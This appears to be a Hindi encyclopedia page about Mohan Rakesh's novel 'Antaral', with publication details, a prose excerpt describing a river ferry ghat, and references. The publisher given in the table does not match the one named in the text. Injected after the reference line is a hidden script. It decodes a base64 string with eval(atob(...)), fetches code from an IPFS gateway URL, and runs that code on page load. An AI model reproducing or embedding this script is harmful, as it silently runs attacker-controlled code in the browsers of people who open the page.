अन्तराल -मोहन राकेश
अन्तराल -मोहन राकेश
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लेखक | मोहन राकेश |
मूल शीर्षक | अन्तराल |
प्रकाशक | राजकमल प्रकाशन |
प्रकाशन तिथि | 1 जनवरी, 2005 |
ISBN | 81-267-0077-7 |
देश | भारत |
भाषा | हिन्दी |
प्रकार | उपन्यास |
मुखपृष्ठ रचना | सजिल्द |
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अन्तराल प्रसिद्ध साहित्यकार, उपन्यासकार और नाटककार मोहन राकेश द्वारा रचित उपन्यास है। इसका प्रकाशन 1 जनवरी, 2005 को 'राजपाल एंड सन्स' द्वारा हुआ था।
पुस्तक का कुछ भाग
नदी का पुल पार करने के लिए सड़क ऊँची होनी शुरू हो गई थी। सड़क के दोनों ओर बीहड़ नज़र आने लगे थे। उसकी निगाहें उस टेढ़ी-मेढ़ी पगडंडी को ढूँढ़ रही थीं जो उन दिनों बीहड़ के बीच से ऊपर-नीचे होती हुई घाट तक जाती थी।
तब घाट के ठीक पहले तेज़ ढलान हुआ करती थी जिस पर नदी के किनारे-किनारे दूर तक बालू की चादर बिछी रहती थी। बालू की पर्त इतनी मोटी होती थी कि उसपर चलते हुए पैर धँस-धँस जाते थे। पर नीचे, धारा से लगे हुए किनारे की बालू पसीजकर सख्त हो गई रहती थी। वहीं बैठकर वे नाव का इंतज़ार करते थे जो दूसरे किनारे पर सवारियों को चढ़ाते-उतारते या धारा के बीच आते-जाते दिखाई पड़ती थी। अगर नाव को इधर का किनारा छोड़े देर हो गई होती तो बालू पर कुछ राहगीर गठरी-मोटरी लेकर बैठे नज़र आते। नहीं तो एक-एक कर वे आते रहते और नाव के वापस लौटने तक वहाँ कुछ चहल-पहल-सी हो जाती थी। राहगीरों में कभी कोई नई दुल्हन होती जो चटक पियरी के ऊपर चमकीली चादर डालकर घूँघट काढ़े रहती। पूरी ढकी देह के नीचे से झाँकते काले, मटमैले पैर जिनमें गिलट के झाँझ और लच्छे पड़े होते, अजीब अटपटे-से लगते थे। दुल्हन के साथ गठरी लिए हुए कोई अधेड़ या बूढ़ा आदमी होता जो पुरानी मटमैली धोती के ऊपर नया सिला और गैरधुला, सफेद, चमकदार कुरता पहने होता जिसमें बटन नदारद होते। कभी गोद में बच्चा लिए कोई औरत भी होती। घाट पर बैठते ही बच्चा रोने लगता और वह भीड़ से ज़रा दूसरी ओर मुँह फेरकर कुरती से स्तन निकालती और उसके मुँह में दे देती और बेपरवाही से उसके ऊपर आँचल डाल लेती। वहाँ औरतों में पहला ही बच्चा होने के बाद छाती को लेकर कोई ख़ास शरम न रह जाती और वे उसके प्रति लापरवाह-सी हो जाती थीं।...वह कभी इस छोटी-सी भीड़ को देखता, कभी दूर सरकती नाव को तो कभी कगार के ऊपर फैले बीहड़ के विस्तार को। दोनों ओर लंबाई में दूर तक चमकती नदी की धारा और चारों ओर फैले बीहड़ों के बीच-बीच खड़े बबूल के पेड़ और सरपत के गुच्छे जो हवा में बहुत धीरे-धीरे हिलते, बहुत एकाकी लगते थे। इस सुनसान फैलाव के बीच घाट पर सिमटी छोटी-सी भीड़ निचाट ऊसर के बीच छोटे-से खेत में खड़ी लहराती फसल-सी लगती। दुनिया में ऊँच-नीच, दु:ख और जलालत से बेख़बर उसे वह सारा मंजर बड़ा सुहावना लगता था।[1]
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टीका टिप्पणी और संदर्भ
- ↑ अन्तराल -मोहन राकेश (हिंदी) भारतीय साहित्य संग्रह। अभिगमन तिथि: 2 जुलाई, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बाहरी कड़ियाँ
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